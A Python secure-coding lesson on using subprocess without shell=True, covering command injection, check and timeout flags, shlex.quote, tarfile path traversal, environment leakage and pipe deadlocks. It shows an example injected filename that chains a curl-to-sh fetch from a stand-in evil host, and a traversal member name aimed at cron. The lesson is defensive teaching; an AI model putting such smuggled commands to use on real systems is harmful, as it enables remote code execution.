Skip to content

Lesson 10 of 20 · 15m

subprocess Without the Shell

shell=True hands your string to /bin/sh -c and its whole grammar — the argv list form removes the parser, and check/timeout remove the silent failures.

subprocess.run("tar -xf " + filename, shell=True) does not run tar. It runs /bin/sh -c 'tar -xf <filename>' — the shell parses your string, and the shell speaks ;, |, $(), backticks, &&, redirects. A filename of docs.tar; curl evil.sh | sh is a perfectly valid shell line. That is the entire mechanism of OS command injection: the argument you concatenated became syntax.

The list form — subprocess.run(["tar", "-xf", filename]) — never touches a shell. execvp hands argv to the kernel as an array; a filename containing ; is just a weird filename. No parsing, no metacharacters, no injection surface. On Windows shell=True goes through cmd.exe /c with its own quoting rules; on POSIX it is /bin/sh -c. Either way, the string form rents you the shell's parser — and you pay for it in escaping, forever.

The signature that covers real usage

subprocess.run(
    ["convert", src, dst],
    check=True,            # raise CalledProcessError on nonzero exit
    timeout=30,            # kill the child if it outlives its welcome
    capture_output=True,   # collect stdout/stderr instead of inheriting
    text=True,             # decode as str, not bytes
    input="payload",       # feed stdin without Popen plumbing
)

check=True is the flag scripts skip and regret — a failed ffmpeg exits nonzero, the script proceeds anyway, and you ship a zero-byte render that failed silently. timeout= is the one production needs — a wedged child otherwise holds your worker forever. For streaming output or interactive children, drop to subprocess.Popen — run is built on it — but run covers nearly everything a script needs since Python 3.5 added it.

When a shell is genuinely needed

Pipelines (a | b), glob expansion, redirection the program can't do itself. Two answers, in order of preference: restructure — two run calls wired by pipes you build, or globbing done with pathlib.Path.glob — or quote every interpolated piece with shlex.quote, which exists for exactly this and is POSIX-only. What never works reliably: building the command with f-strings and then "sanitizing" by blocklisting ;. The shell's grammar is richer than your blocklist. Always.

The trust boundary lives in the stdlib too

CVE-2007-4559 sat in tarfile.extractall for roughly fifteen years: member names like ../../etc/cron.d/x wrote outside the target directory — disclosed by Trellix in 2022, reachable by thousands of projects that treated "extract the archive" as a safe primitive. Python 3.12 added extractall(filter="data") to strip dangerous members; 3.14 makes data the default. If you shell to tar or call tarfile on archives from outside your trust, extraction is a boundary — filter or list-form, not faith.

env, cwd, and the pipe deadlock

env= replaces the child's entire environment — pass a minimal dict like {"PATH": "/usr/bin"} when the child doesn't need your AWS_SECRET_ACCESS_KEY and DATABASE_URL. Inheriting the parent env is the default, and it leaks your secrets into every process you spawn. cwd= sets the working directory; neither shows up in the ps line the way an argument does.

The other classic footgun: reading p.stdout.read() on a Popen child that also writes stderr. Pipe buffers are finite (~64 KB); a child blocked writing stderr while you block reading stdout deadlocks both sides. communicate() exists precisely to drain both pipes concurrently — that is why run(..., capture_output=True) is built on it.

timeout= kills the child — not its grandchildren. A child that spawned its own children leaves them running; start_new_session=True puts the child in its own process group so os.killpg can take the whole tree when the deadline hits.

The rules

List form always. check=True and timeout= always. Never f-strings into a command. shlex.quote the day a shell is unavoidable. filter="data" on tar extraction. Command injection is not a web-framework bug class — it is what shell=True does by definition.

Was this lesson helpful?

Sign in to rate

Keep reading

Related articles from the SudoSecurity blog.